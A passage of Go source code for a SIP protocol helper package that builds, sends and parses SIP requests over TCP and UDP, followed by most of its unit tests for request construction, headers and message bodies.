protocol.TCPWrite(conn, []byte(req.String())) if !ok { output.PrintfFrameworkError("Writing message %s to the socket", req.String()) return nil, false } // To discard requests coming from the server, like OPTIONS or NOTIFY. for { respMsg, ok := ReadMessageTCP(conn) if !ok { output.PrintfFrameworkError("Reading response from the socket") return nil, false } resp, ok := respMsg.(*sip.Response) if !ok { output.PrintfFrameworkDebug("Response is not a valid: %+v", respMsg) continue } return resp, true } } // Returns a SIP message from a TCP connection. func ReadMessageTCP(conn net.Conn) (sip.Message, bool) { reader := bufio.NewReader(conn) var resp string var respSb strings.Builder for { line, err := reader.ReadString('\n') if err != nil { output.PrintfFrameworkError("Reading response from the socket: %s", err.Error()) return nil, false } respSb.WriteString(line) if line == sipLineEnd || line == sipLineEndAlt { break } } resp += respSb.String() // First message parse to get the length of the body. msg, err := sip.ParseMessage([]byte(resp)) if err != nil { output.PrintfFrameworkError("Parsing response %+v: %s", resp, err.Error()) return nil, false } bodyLen, err := strconv.ParseInt(msg.ContentLength().Value(), 10, 64) if err != nil { output.PrintfFrameworkError("Parsing Content-Length header: %s", err.Error()) } if bodyLen > 0 { body := make([]byte, bodyLen) count, err := io.ReadFull(reader, body) if err != nil { output.PrintfFrameworkError("Reading message body: %s", err.Error()) return nil, false } output.PrintfFrameworkDebug("Read %d bytes of body", count) resp := resp + string(body) // Second parse, now with the body included. msg, err := sip.ParseMessage([]byte(resp)) if err != nil { output.PrintFrameworkError("Parsing response %+v with body: %s", msg, err.Error()) return nil, false } } return msg, true } // Sends a UDP message and returns the response. // // If 'amount' is set to 0, it will use the recommended size for UDP messages (1300 bytes). func SendAndReceiveUDP( conn *net.UDPConn, req sip.Message, ) (*sip.Response, bool) { if conn == nil { output.PrintfFrameworkError(errMsgRequiredParam, "conn") return nil, false } if req == nil { output.PrintfFrameworkError(errMsgRequiredParam, "req") return nil, false } ok := protocol.UDPWrite(conn, []byte(req.String())) if !ok { output.PrintfFrameworkError("Writing message %s to the socket", req.String()) return nil, false } // To discard requests coming from the server, like OPTIONS or NOTIFY. for { respMsg, ok := ReadMessageUDP(conn) if !ok { output.PrintFrameworkError("Reading response from the socket") return nil, false } resp, ok := respMsg.(*sip.Response) if !ok { output.PrintfFrameworkDebug("Response is not a valid: %+v", respMsg) continue } return resp, true } } // Returns a SIP message from a UDP connection using the message length // defined in the RFC 3261. // https://datatracker.ietf.org/doc/html/rfc3261#section-18.1.1 func ReadMessageUDP(conn *net.UDPConn) (sip.Message, bool) { resp := make([]byte, UDPMessageLength) count, err := conn.Read(resp) if err != nil { output.PrintFrameworkError("Failed to read from the socket: " + err.Error()) return nil, false } resp = resp[:count] msg, err := sip.ParseMessage(resp) if err != nil { output.PrintfFrameworkError("Parsing response %+v: %s", resp, err.Error()) return nil, false } return msg, true } // Returns a generic well-formed request. Useful to start the communication. // // Depending on the method (if not set in 'opts') required headers and body content // is automatically added. func NewSipRequest( method sip.RequestMethod, host string, opts *NewSipRequestOpts, ) (*sip.Request, bool) { if method == "" { output.PrintfFrameworkError(errMsgRequiredParam, "method") return nil, false } if host == "" { output.PrintfFrameworkError(errMsgRequiredParam, "host") return nil, false } if opts == nil { opts = &NewSipRequestOpts{} } lHost := host if opts.LocalHost != "" { lHost = opts.LocalHost } lPort := opts.Port if opts.LocalPort != 0 { lPort = opts.LocalPort } toURI := sip.Uri{ User: opts.ToUser, Host: host, Port: opts.Port, } fromURI := sip.Uri{ User: opts.User, Password: opts.Password, Host: lHost, Port: lPort, } req := sip.NewRequest(method, toURI) if opts.Transport != 0 { req.SetTransport(opts.Transport.String()) } callID, err := uuid.NewRandom() if err != nil { output.PrintfFrameworkError("Could not generate UUID: %s", err.Error()) return nil, false } callIDHeader := sip.CallIDHeader(callID.String()) viaOpts := NewViaOpts{ Host: lHost, Port: lPort, Transport: req.Transport(), } viaHeader, ok := NewViaHeader(&viaOpts) if !ok { output.PrintfFrameworkError("Creating Via header with options %+v", viaOpts) return nil, false } fromHeader := &sip.FromHeader{ Address: fromURI, Params: map[string]string{"tag": sip.GenerateTagN(10)}, } toHeader := &sip.ToHeader{Address: toURI} maxForwardsHeader := sip.MaxForwardsHeader(70) req.PrependHeader( viaHeader, &maxForwardsHeader, fromHeader, toHeader, &callIDHeader, &sip.CSeqHeader{SeqNo: uint32(DefaultCSeq), MethodName: method}, sip.NewHeader("User-Agent", strings.TrimSpace(GlobalUA)), ) if IsContactRequired(method) { req.AppendHeader(&sip.ContactHeader{ Address: fromURI, Params: sip.HeaderParams{"transport": req.Transport()}, }) } AddMethodHeaders(req, method) body, contentType := NewRequestBody(method) bodyLen := len(body) if bodyLen > 0 { contentTypeHeader := sip.ContentTypeHeader(contentType) req.AppendHeader(&contentTypeHeader) req.SetBody([]byte(body)) // The Content-Length header is automatically added by sipgo. } else { contentLengthHeader := sip.ContentLengthHeader(0) req.AppendHeader(&contentLengthHeader) } return req, true } // Optional parameters to create a request. type NewSipRequestOpts struct { // Default: 0. The host could be a domain name. Port int // Default: 'host' function parameter. LocalHost string // Default: 'Port' property. LocalPort int // Default: No user set in the request (Via and To headers). ToUser string // Default: No user set in the request (From header). User string // Default: No password set in the request (From header). Password string // Default: UDP. Transport TransportType } // Returns a 'Via' header for a SIP request. func NewViaHeader(opts *NewViaOpts) (*sip.ViaHeader, bool) { host := "localhost" transport := defaultTransport protocolName := "SIP" protocolVersion := "2.0" if opts == nil { opts = &NewViaOpts{} } if opts.ProtocolName != "" { protocolName = opts.ProtocolName } if opts.ProtocolVersion != "" { protocolVersion = opts.ProtocolVersion } if opts.Transport != "" { transport = opts.Transport } if opts.Host != "" { host = opts.Host } // Port could be zero. For example if host is a domain name. return &sip.ViaHeader{ ProtocolName: protocolName, ProtocolVersion: protocolVersion, Transport: transport, Host: host, Port: opts.Port, Params: sip.HeaderParams{ "branch": sip.GenerateBranchN(16), "rport": "", }, }, true } // Optional parameters to create a Via header. type NewViaOpts struct { // Default: "SIP" ProtocolName string // Default: "2.0" ProtocolVersion string // Default: "UDP" Transport string // Default: "localhost" Host string // Default: 0 Port int } // Checks if contact header is required for a method. func IsContactRequired(method sip.RequestMethod) bool { switch method { case sip.REGISTER, sip.INVITE, sip.SUBSCRIBE, sip.REFER, sip.PUBLISH, sip.NOTIFY: return true case sip.ACK, sip.CANCEL, sip.BYE, sip.OPTIONS, sip.INFO, sip.PRACK, sip.UPDATE, sip.MESSAGE: return false default: return false } } // Adds generic method-specific headers to a request. // // INVITE and MESSAGE ones are handled in the function 'NewRequestBody'. func AddMethodHeaders(req *sip.Request, method sip.RequestMethod) bool { if req == nil { output.PrintFrameworkError(errMsgRequiredParam, "param", "req") return false } switch method { case sip.OPTIONS: req.AppendHeader(sip.NewHeader("Accept", "application/sdp")) case sip.REGISTER: req.AppendHeader(sip.NewHeader("Expires", strconv.Itoa(DefaultExpiresHeader))) case sip.PRACK: req.AppendHeader(sip.NewHeader("RAck", fmt.Sprintf("%d %d INVITE", DefaultRackCSeq, DefaultRackInviteCSeq))) case sip.SUBSCRIBE: req.AppendHeader(sip.NewHeader("Event", "presence")) req.AppendHeader(sip.NewHeader("Accept", ContentTypePidf)) req.AppendHeader(sip.NewHeader("Supported", "eventlist")) case sip.NOTIFY: req.AppendHeader(sip.NewHeader("Subscription-State", "active;expires=3500")) req.AppendHeader(sip.NewHeader("Event", "presence")) case sip.REFER: if req.CallID() == nil { output.PrintFrameworkError("CallID header is required for REFER") return false } req.AppendHeader(&sip.ReferToHeader{ Address: sip.Uri{ Host: req.Recipient.Host, Port: req.Recipient.Port, User: "carol", UriParams: sip.HeaderParams{ "Replaces": req.CallID().Value() + `%3Bto-tag%3D54321%3Bfrom-tag%3D12345`, }, }, }) req.AppendHeader(sip.NewHeader("Refer-Sub", "true")) req.AppendHeader(sip.NewHeader("Supported", "replaces")) case sip.PUBLISH: req.AppendHeader(sip.NewHeader("Expires", strconv.Itoa(DefaultExpiresHeader))) req.AppendHeader(sip.NewHeader("Event", "presence")) case sip.INVITE, sip.ACK, sip.CANCEL, sip.BYE, sip.INFO, sip.MESSAGE, sip.UPDATE: } return true } // Returns a valid body and content type header for the given method. func NewRequestBody(method sip.RequestMethod) (string, string) { switch method { case sip.INVITE: return NewDefaultInviteBody("", "", ""), DefaultInviteContentType case sip.MESSAGE: return DefaultMessageBodyContent, DefaultMessageContentType case sip.INFO: return DefaultInfoBodyContent, DefaultInfoContentType case sip.PUBLISH: return NewDefaultPublishBody("", "", ""), ContentTypePidf case sip.NOTIFY: return NewDefaultNotifyBody("", "", "", ""), ContentTypePidf case sip.ACK, sip.CANCEL, sip.BYE, sip.REGISTER, sip.OPTIONS, sip.SUBSCRIBE, sip.REFER, sip.PRACK, sip.UPDATE: return "", "" } return "", "" } // Returns a default body for an INVITE request. // // Default parameters: // - host: "randomIPv4()". // - sessid: random digits. // - sessver: random digits. func NewDefaultInviteBody(host, sessid, sessver string) string { if host == "" { host = random.RandIPv4().String() } if sessid == "" { sessid = random.RandDigits(6) } if sessver == "" { sessver = random.RandDigits(6) } return fmt.Sprintf(`v=0 o=caller %s %s IN IP4 %s s=- c=IN IP4 %s t=0 0 m=audio 5004 RTP/AVP 0 a=rtpmap:0 PCMU/8000`, sessid, sessver, host, host) } // Returns a default body for a PUBLISH request. // // Default parameters: // - id: random letters. // - status: "open". // - entity: "sip:bob@randomIPv4():5060". func NewDefaultPublishBody(id, status, entity string) string { if id == "" { id = random.RandLetters(6) } if status == "" { status = "open" } if entity == "" { entity = fmt.Sprintf("sip:bob@%s:5060", random.RandIPv4()) } return fmt.Sprintf(` %s `, entity, id, status) } // Returns a default body for a NOTIFY request. // // Default parameters: // - id: random letters. // - status: "open". // - contact: "sip:bob@randomIPv4():5060". // - ts: current UTC time in RFC 3339 format. func NewDefaultNotifyBody(id, status, contact, ts string) string { if id == "" { id = random.RandLetters(6) } if status == "" { status = "open" } if contact == "" { contact = fmt.Sprintf("sip:bob@%s:5060", random.RandIPv4()) } if ts == "" { ts = time.Now().UTC().Format(time.RFC3339) } return fmt.Sprintf(` %s %s %s `, id, status, contact, ts) } // Converts a string to 'TransportType'. func ParseTransport(transport string) TransportType { switch strings.ToLower(transport) { case "udp": return UDP case "tcp": return TCP case "tls": return TLS default: return UNKNOWN } } // Converts a string to a 'sip.RequestMethod'. func ParseMethod(method string) sip.RequestMethod { switch strings.ToLower(method) { case "options": return sip.OPTIONS case "invite": return sip.INVITE case "register": return sip.REGISTER case "ack": return sip.ACK case "bye": return sip.BYE case "cancel": return sip.CANCEL case "subscribe": return sip.SUBSCRIBE case "notify": return sip.NOTIFY case "publish": return sip.PUBLISH case "refer": return sip.REFER case "info": return sip.INFO case "message": return sip.MESSAGE case "prack": return sip.PRACK case "update": return sip.UPDATE default: return "" } } ================================================ FILE: protocol/sip/helper_test.go ================================================ package sip import ( "strings" "testing" "github.com/emiago/sipgo/sip" ) const ( host = "localhost" expectedMethod = sip.OPTIONS expectedMaxForwardsHeader = "Max-Forwards: 70" expectedUserAgent = "Jitsi2.10.5550Mac OS X" expectedAccept = "application/sdp" expectedProtocolName = "SIP" expectedProtocolVersion = "2.0" expectedTransport = defaultTransport // "UDP" expectedCSeqHeader = "CSeq: 1 OPTIONS" expectedPresenceHeaderValue = "presence" ) func TestNewSipRequest(t *testing.T) { t.Run("returns ok to false if method is zero", func(t *testing.T) { req, ok := NewSipRequest("", "", nil) if ok { t.Fatal("got true ok") } if req != nil { t.Fatal("got non 'nil' request") } }) t.Run("returns ok to false if host is zero", func(t *testing.T) { req, ok := NewSipRequest(sip.OPTIONS, "", nil) if ok { t.Fatal("got true ok") } if req != nil { t.Fatal("got non 'nil' request") } }) t.Run("returns the request with default options", func(t *testing.T) { req, ok := NewSipRequest(sip.OPTIONS, host, nil) if !ok { t.Fatal("got false ok") } if req == nil { t.Fatal("got 'nil' request") } if req.Method != expectedMethod { t.Fatalf("got method %s, want %s", req.Method, expectedMethod) } if req.Recipient.Host != host { t.Fatalf("got recipient host %s, want %s", req.Recipient.Host, host) } if req.Recipient.Port != 0 { t.Fatalf("got recipient port %d, want 0", req.Recipient.Port) } transport := req.Transport() if transport != "UDP" { t.Fatalf("got recipient transport %s, wants UDP", transport) } startLine := req.StartLine() expectedStartLine := "OPTIONS sip:localhost SIP/2.0" if startLine != expectedStartLine { t.Fatalf("got start line %s, want %s", startLine, expectedStartLine) } if len(req.Headers()) != 9 { t.Fatalf("got %d headers, want 9", len(req.Headers())) } viaHeader := req.Via() if viaHeader == nil { t.Fatal("got 'nil' Via header") } if viaHeader.ProtocolName != expectedProtocolName { t.Fatalf("got protocol name %s, want %s", viaHeader.ProtocolName, expectedProtocolName) } if viaHeader.ProtocolVersion != expectedProtocolVersion { t.Fatalf("got protocol version %s, want %s", viaHeader.ProtocolVersion, expectedProtocolVersion) } expectedTransport := expectedTransport if viaHeader.Transport != expectedTransport { t.Fatalf("got transport %s, want %s", viaHeader.Transport, expectedTransport) } if viaHeader.Host != host { t.Fatalf("got host %s, want %s", viaHeader.Host, host) } expectedPort := 0 if viaHeader.Port != expectedPort { t.Fatalf("got port %d, want %d", viaHeader.Port, expectedPort) } if len(viaHeader.Params) != 2 { t.Fatalf("got %d parameters, want 2", len(viaHeader.Params)) } if viaHeader.Params["branch"] == "" { t.Fatal("got zero branch parameter") } if viaHeader.Params["rport"] != "" { t.Fatal("got non-zero rport parameter") } maxForwardsHeader := req.MaxForwards().String() if maxForwardsHeader != expectedMaxForwardsHeader { t.Fatalf("got Max-Forwards header %s, want %s", maxForwardsHeader, expectedMaxForwardsHeader) } fromHeader := req.From().String() expectedFromHeader := "From: ;tag=" if strings.Contains(fromHeader, expectedFromHeader) == false { t.Fatalf("got From header %s, want %s", fromHeader, expectedFromHeader) } toHeader := req.To().String() expectedToHeader := "To: " if toHeader != expectedToHeader { t.Fatalf("got To header %s, want %s", toHeader, expectedToHeader) } ciHeader := req.CallID().String() if ciHeader == "" { t.Fatal("got zero Call-ID header") } cseqHeader := req.CSeq().String() if cseqHeader != expectedCSeqHeader { t.Fatalf("got CSeq header %s, want %s", cseqHeader, expectedCSeqHeader) } userAgentHeader := req.GetHeader("user-agent") if userAgentHeader == nil { t.Fatal("got 'nil' User-Agent header") } if userAgentHeader.Value() != expectedUserAgent { t.Fatalf("got User-Agent header %s, want %s", userAgentHeader.Value(), expectedUserAgent) } acceptHeader := req.GetHeader("accept") if acceptHeader == nil { t.Fatal("got 'nil' Accept header") } if acceptHeader.Value() != expectedAccept { t.Fatalf("got Accept header %s, want %s", acceptHeader.Value(), expectedAccept) } if req.Contact() != nil { t.Fatal("got non-nil Contact header") } if req.ContentType() != nil { t.Fatal("got non-nil Content-Type header") } if req.ContentLength() == nil { t.Fatal("got nil Content-Length header") } contentLenValue := req.ContentLength().Value() if contentLenValue != "0" { t.Fatalf("got Content-Length header %s, want 0", contentLenValue) } if req.Body() != nil { t.Fatal("got non-nil body") } }) t.Run("returns the request with custom options", func(t *testing.T) { opts := NewSipRequestOpts{ Port: 5061, LocalHost: "192.168.1.1", LocalPort: 5065, ToUser: "dembele", User: "fabian", Password: "pass-0", Transport: TCP, } req, ok := NewSipRequest(sip.OPTIONS, host, &opts) if !ok { t.Fatal("got false ok") } if req == nil { t.Fatal("got 'nil' request") } if req.Method != expectedMethod { t.Fatalf("got method %s, want %s", req.Method, expectedMethod) } if req.Recipient.Host != host { t.Fatalf("got recipient host %s, want %s", req.Recipient.Host, host) } if req.Recipient.Port != opts.Port { t.Fatalf("got recipient port %d, want %d", req.Recipient.Port, opts.Port) } transport := req.Transport() if transport != TCP.String() { t.Fatalf("got recipient transport %s, wants %s", transport, TCP.String()) } startLine := req.StartLine() expectedStartLine := "OPTIONS sip:dembele@localhost:5061 SIP/2.0" if startLine != expectedStartLine { t.Fatalf("got start line %s, want %s", startLine, expectedStartLine) } if len(req.Headers()) != 9 { t.Fatalf("got %d headers, want 9", len(req.Headers())) } viaHeader := req.Via() if viaHeader == nil { t.Fatal("got 'nil' Via header") } if viaHeader.ProtocolName != expectedProtocolName { t.Fatalf("got protocol name %s, want %s", viaHeader.ProtocolName, expectedProtocolName) } if viaHeader.ProtocolVersion != expectedProtocolVersion { t.Fatalf("got protocol version %s, want %s", viaHeader.ProtocolVersion, expectedProtocolVersion) } expectedTransport := "TCP" if viaHeader.Transport != expectedTransport { t.Fatalf("got transport %s, want %s", viaHeader.Transport, expectedTransport) } if viaHeader.Host != opts.LocalHost { t.Fatalf("got host %s, want %s", viaHeader.Host, opts.LocalHost) } if viaHeader.Port != opts.LocalPort { t.Fatalf("got port %d, want %d", viaHeader.Port, opts.LocalPort) } if len(viaHeader.Params) != 2 { t.Fatalf("got %d parameters, want 2", len(viaHeader.Params)) } if viaHeader.Params["branch"] == "" { t.Fatal("got zero branch parameter") } if viaHeader.Params["rport"] != "" { t.Fatal("got non-zero rport parameter") } maxForwardsHeader := req.MaxForwards().String() if maxForwardsHeader != expectedMaxForwardsHeader { t.Fatalf("got Max-Forwards header %s, want %s", maxForwardsHeader, expectedMaxForwardsHeader) } fromHeader := req.From().String() expectedFromHeader := "From: ;tag=" if !strings.Contains(fromHeader, expectedFromHeader) { t.Fatalf("got From header %s, want %s", fromHeader, expectedFromHeader) } toHeader := req.To().String() expectedToHeader := "To: " if toHeader != expectedToHeader { t.Fatalf("got To header %s, want %s", toHeader, expectedToHeader) } ciHeader := req.CallID().String() if ciHeader == "" { t.Fatal("got zero Call-ID header") } cseqHeader := req.CSeq().String() if cseqHeader != expectedCSeqHeader { t.Fatalf("got CSeq header %s, want %s", cseqHeader, expectedCSeqHeader) } userAgentHeader := req.GetHeader("user-agent") if userAgentHeader == nil { t.Fatal("got 'nil' User-Agent header") } if userAgentHeader.Value() != expectedUserAgent { t.Fatalf("got User-Agent header %s, want %s", userAgentHeader.Value(), expectedUserAgent) } acceptHeader := req.GetHeader("accept") if acceptHeader == nil { t.Fatal("got 'nil' Accept header") } if acceptHeader.Value() != expectedAccept { t.Fatalf("got Accept header %s, want %s", acceptHeader.Value(), expectedAccept) } if req.Contact() != nil { t.Fatal("got non-nil Contact header") } if req.ContentType() != nil { t.Fatal("got non-nil Content-Type header") } if req.ContentLength() == nil { t.Fatal("got nil Content-Length header") } contentLenValue := req.ContentLength().Value() if contentLenValue != "0" { t.Fatalf("got Content-Length header %s, want 0", contentLenValue) } if req.Body() != nil { t.Fatal("got non-nil body") } }) t.Run("adds contact header for methods that require it", func(t *testing.T) { req, ok := NewSipRequest(sip.REGISTER, "localhost", nil) if !ok { t.Fatal("got false ok") } if req == nil { t.Fatal("got 'nil' request") } if req.Contact() == nil { t.Fatal("got 'nil' Contact header") } expectedContact := ";transport=UDP" if req.Contact().Value() != expectedContact { t.Fatalf("got Contact header %s, want %s", req.Contact().Value(), expectedContact) } }) t.Run("adds content type and body for methods that require them", func(t *testing.T) { req, ok := NewSipRequest(sip.INVITE, "localhost", nil) if !ok { t.Fatal("got false ok") } if req == nil { t.Fatal("got 'nil' request") } if req.ContentType() == nil { t.Fatal("got 'nil' Content-Type header") } expectedContentType := "application/sdp" if req.ContentType().Value() != expectedContentType { t.Fatalf("got Content-Type header %s, want %s", req.ContentType().Value(), expectedContentType) } if req.Body() == nil { t.Fatal("got 'nil' body") } expectedBody := "o=caller" if !strings.Contains(string(req.Body()), expectedBody) { t.Fatalf("got body %s, want %s", req.Body(), expectedBody) } }) } //gocognit:ignore func TestNewViaHeader(t *testing.T) { t.Run("returns the header with default options", func(t *testing.T) { header, ok := NewViaHeader(nil) if !ok { t.Fatal("got false ok") } if header == nil { t.Fatal("got 'nil' Via header") } expectedProtocolName := "SIP" if header.ProtocolName != expectedProtocolName { t.Fatalf("got protocol name %s, want %s", header.ProtocolName, expectedProtocolName) } expectedProtocolVersion := "2.0" if header.ProtocolVersion != expectedProtocolVersion { t.Fatalf("got protocol version %s, want %s", header.ProtocolVersion, expectedProtocolVersion) } expectedTransport := "UDP" if header.Transport != expectedTransport { t.Fatalf("got transport %s, want %s", header.Transport, expectedTransport) } if header.Host != host { t.Fatalf("got host %s, want %s", header.Host, host) } expectedPort := 0 if header.Port != expectedPort { t.Fatalf("got port %d, want %d", header.Port, expectedPort) } if len(header.Params) != 2 { t.Fatalf("got %d parameters, want 2", len(header.Params)) } if header.Params["branch"] == "" { t.Fatal("got zero branch parameter") } if header.Params["rport"] != "" { t.Fatal("got non-zero rport parameter") } }) t.Run("returns the header with custom options", func(t *testing.T) { opts := NewViaOpts{ ProtocolName: "PNAME", ProtocolVersion: "1.0", Transport: "TCP", Host: "localhost", Port: 5061, } header, ok := NewViaHeader(&opts) if !ok { t.Fatal("got false ok") } if header == nil { t.Fatal("got 'nil' header") } if header.ProtocolName != opts.ProtocolName { t.Fatalf("got protocol name %s, want %s", header.ProtocolName, opts.ProtocolName) } if header.ProtocolVersion != opts.ProtocolVersion { t.Fatalf("got protocol version %s, want %s", header.ProtocolVersion, opts.ProtocolVersion) } if header.Transport != "TCP" { t.Fatalf("got transport %s, want %s", header.Transport, "TCP") } if header.Host != opts.Host { t.Fatalf("got host %s, want %s", header.Host, opts.Host) } if header.Port != opts.Port { t.Fatalf("got port %d, want %d", header.Port, opts.Port) } if len(header.Params) != 2 { t.Fatalf("got %d parameters, want 2", len(header.Params)) } if header.Params["branch"] == "" { t.Fatal("got zero branch parameter") } if header.Params["rport"] != "" { t.Fatal("got non-zero rport parameter") } }) } func TestIsContactRequired(t *testing.T) { tests := []struct { name string method sip.RequestMethod expected bool }{ {sip.INVITE.String(), sip.INVITE, true}, {sip.ACK.String(), sip.ACK, false}, {sip.CANCEL.String(), sip.CANCEL, false}, {sip.BYE.String(), sip.BYE, false}, {sip.REGISTER.String(), sip.REGISTER, true}, {sip.OPTIONS.String(), sip.OPTIONS, false}, {sip.SUBSCRIBE.String(), sip.SUBSCRIBE, true}, {sip.NOTIFY.String(), sip.NOTIFY, true}, {sip.REFER.String(), sip.REFER, true}, {sip.INFO.String(), sip.INFO, false}, {sip.MESSAGE.String(), sip.MESSAGE, false}, {sip.PRACK.String(), sip.PRACK, false}, {sip.UPDATE.String(), sip.UPDATE, false}, {sip.PUBLISH.String(), sip.PUBLISH, true}, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { if got := IsContactRequired(tt.method); got != tt.expected { t.Fatalf("got %v, want %v", got, tt.expected) } }) } } func TestAddMethodHeaders(t *testing.T) { t.Run("returns ok to false if request is nil", func(t *testing.T) { ok := AddMethodHeaders(nil, sip.OPTIONS) if ok { t.Fatal("got true ok") } }) t.Run("OPTIONS", func(t *testing.T) { req := sip.Request{} ok := AddMethodHeaders(&req, sip.OPTIONS) if !ok { t.Fatal("got false ok") } headers := req.Headers() if len(headers) != 1 { t.Fatalf("got %d headers, want 1", len(headers)) } header := req.GetHeader("accept") if header == nil { t.Fatal("got 'nil' accept header") } value := header.Value() if value != "application/sdp" { t.Fatalf("got accept header value %v, want application/sdp", value) } }) t.Run("REGISTER", func(t *testing.T) { req := sip.Request{} ok := AddMethodHeaders(&req, sip.REGISTER) if !ok { t.Fatal("got false ok") } headers := req.Headers() if len(headers) != 1 { t.Fatalf("got %d headers, want 1", len(headers)) } header := req.GetHeader("expires") if header == nil { t.Fatal("got 'nil' expires header") } value := header.Value() if value != "3600" { t.Fatalf("got expires header value %v, want 3600", value) } }) t.Run("PRACK", func(t *testing.T) { req := sip.Request{} ok := AddMethodHeaders(&req, sip.PRACK) if !ok { t.Fatal("got false ok") } headers := req.Headers() if len(headers) != 1 { t.Fatalf("got %d headers, want 1", len(headers)) } header := req.GetHeader("RAck") if header == nil { t.Fatal("got 'nil' rack header") } value := header.Value() if value != "1 314159 INVITE" { t.Fatalf("got rack header value %v, want 1 314159 INVITE", value) } }) t.Run("SUBSCRIBE", func(t *testing.T) { req := sip.Request{} ok := AddMethodHeaders(&req, sip.SUBSCRIBE) if !ok { t.Fatal("got false ok") } headers := req.Headers() if len(headers) != 3 { t.Fatalf("got %d headers, want 3", len(headers)) } header := req.GetHeader("event") if header == nil { t.Fatal("got 'nil' event header") } value := header.Value() if value != expectedPresenceHeaderValue { t.Fatalf("got event header value %v, want presence", value) } header = req.GetHeader("accept") if header == nil { t.Fatal("got 'nil' accept header") } value = header.Value() if value != "application/pidf+xml" { t.Fatalf("got accept header value %v, want application/pidf+xml", value) } header = req.GetHeader("supported") if header == nil { t.Fatal("got 'nil' supported header") } value = header.Value() if value != "eventlist" { t.Fatalf("got supported header value %v, want eventlist", value) } }) t.Run("NOTIFY", func(t *testing.T) { req := sip.Request{} ok := AddMethodHeaders(&req, sip.NOTIFY) if !ok { t.Fatal("got false ok") } headers := req.Headers() if len(headers) != 2 { t.Fatalf("got %d headers, want 2", len(headers)) } header := req.GetHeader("event") if header == nil { t.Fatal("got 'nil' event header") } value := header.Value() if value != expectedPresenceHeaderValue { t.Fatalf("got event header value %v, want presence", value) } header = req.GetHeader("subscription-state") if header == nil { t.Fatal("got 'nil' subscription-state header") } value = header.Value() if value != "active;expires=3500" { t.Fatalf("got subscription-state header value %v, want active;expires=3500", value) } }) t.Run("REFER returns error if call id is not set", func(t *testing.T) { req := sip.Request{} ok := AddMethodHeaders(&req, sip.REFER) if ok { t.Fatal("got true ok") } headers := req.Headers() if len(headers) != 0 { t.Fatalf("got %d headers, want 0", len(headers)) } }) t.Run("REFER", func(t *testing.T) { req := sip.Request{ Recipient: sip.Uri{ Host: "127.0.0.1", }, } ciHeader := sip.CallIDHeader("123456") req.AppendHeader(&ciHeader) ok := AddMethodHeaders(&req, sip.REFER) if !ok { t.Fatal("got false ok") } headers := req.Headers() if len(headers) != 4 { t.Fatalf("got %d headers, want 3", len(headers)) } header := req.GetHeader("refer-to") if header == nil { t.Fatal("got 'nil' refer-to header") } value := header.Value() expectedValue := "" if value != expectedValue { t.Fatalf("got refer-to header value %s, want %s", value, expectedValue) } header = req.GetHeader("refer-sub") if header == nil { t.Fatal("got 'nil' refer-sub header") } value = header.Value() if value != "true" { t.Fatalf("got refer-sub header value %v, want true", value) } header = req.GetHeader("supported") if header == nil { t.Fatal("got 'nil' supported header") } value = header.Value() if value != "replaces" { t.Fatalf("got supported header value %v, want replaces", value) } }) t.Run("PUBLISH", func(t *testing.T) { req := sip.Request{} ok := AddMethodHeaders(&req, sip.PUBLISH) if !ok { t.Fatal("got false ok") } headers := req.Headers() if len(headers) != 2 { t.Fatalf("got %d headers, want 2", len(headers)) } header := req.GetHeader("event") if header == nil { t.Fatal("got 'nil' event header") } value := header.Value() if value != expectedPresenceHeaderValue { t.Fatalf("got event header value %v, want presence", value) } header = req.GetHeader("expires") if header == nil { t.Fatal("got 'nil' expires header") } value = header.Value() if value != "3600" { t.Fatalf("got expires header value %v, want 3600", value) } }) t.Run("MESSAGE", func(t *testing.T) { req := sip.Request{} ok := AddMethodHeaders(&req, sip.MESSAGE) if !ok { t.Fatal("got false ok") } headers := req.Headers() if len(headers) != 0 { t.Fatalf("got %d headers, want 0", len(headers)) } }) } func TestNewRequestBody(t *testing.T) { tests := []struct { name string method sip.RequestMethod expectedBodyInclude string expectedHeader string }{ { "INVITE", sip.INVITE, "o=caller", "application/sdp", }, { "MESSAGE", sip.MESSAGE, "Hello, this is a test message", "text/plain", }, { "INFO", sip.INFO, "Signal=1Signal=1\nDuration=10", "application/dtmf-relay", }, {"ACK", sip.ACK, "", ""}, {"CANCEL", sip.CANCEL, "", ""}, {"BYE", sip.BYE, "", ""}, {"REGISTER", sip.REGISTER, "", ""}, {"OPTIONS", sip.OPTIONS, "", ""}, {"SUBSCRIBE", sip.SUBSCRIBE, "", ""}, { "NOTIFY", sip.NOTIFY, "", "application/pidf+xml", }, {"REFER", sip.REFER, "", ""}, { "PUBLISH", sip.PUBLISH, `presence xmlns="urn:ietf:params:xml:ns:pidf`, "application/pidf+xml", }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { body, header := NewRequestBody(tt.method) if !strings.Contains(body, tt.expectedBodyInclude) { t.Fatalf("got body %v, want %v", body, tt.expectedBodyInclude) } if header != tt.expectedHeader { t.Fatalf("got header %v, want %v", header, tt.expectedHeader) } }) } } func TestNewDefaultInviteBody(t *testing.T) { t.Run("returns a valid body", func(t *testing.T) { body := NewDefaultInviteBody("", "", "") if body == "" { t.Fatal("got empty") } if !strings.Contains(body, "o=caller") { t.Fatalf("got %s, want o=caller", body) } if !strings.Contains(body, "s=-") { t.Fatalf("got %s, want s=-", body) } if !strings.Contains(body, "c=IN IP4") { t.Fatalf("got %s, want c=IN IP4", body) } expected := `t=0 0 m=audio 5004 RTP/AVP 0 a=rtpmap:0 PCMU/8000` if !strings.Contains(body, expected) { t.Fatalf("got %s, want %s", body, expected) } }) t.Run("returns a valid body with custom parameters", func(t *testing.T) { body := NewDefaultInviteBody("host-0", "sess-0", "sessver-0") expected := `v=0 o=caller sess-0 sessver-0 IN IP4 host-0 s=- c=IN IP4 host-0 t=0 0 m=audio 5004 RTP/AVP 0 a=rtpmap:0 PCMU/8000` if body != expected { t.Fatalf("got %s, want %s", body, expected) } }) } func TestNewDefaultPublishBody(t *testing.T) { t.Run("returns a valid body", func(t *testing.T) { body := NewDefaultPublishBody("", "", "") if body == "" { t.Fatal("got empty") } expected := ` status-0 ` if body != expected { t.Fatalf("got %s, want %s", body, expected) } }) } func TestNewDefaultNotifyBody(t *testing.T) { t.Run("returns a valid body", func(t *testing.T) { body := NewDefaultNotifyBody("", "", "", "") if body == "" { t.Fatal("got empty") } expected := ` open sip:bob@` if !strings.Contains(body, expected) { t.Fatalf("got %s, want %s", body, expected) } expected = ` ` if !strings.Contains(body, expected) { t.Fatalf("got %s, want %s", body, expected) } expected = ` ` if !strings.Contains(body, expected) { t.Fatalf("got %s, want %s", body, expected) } }) } func TestParseTransport(t 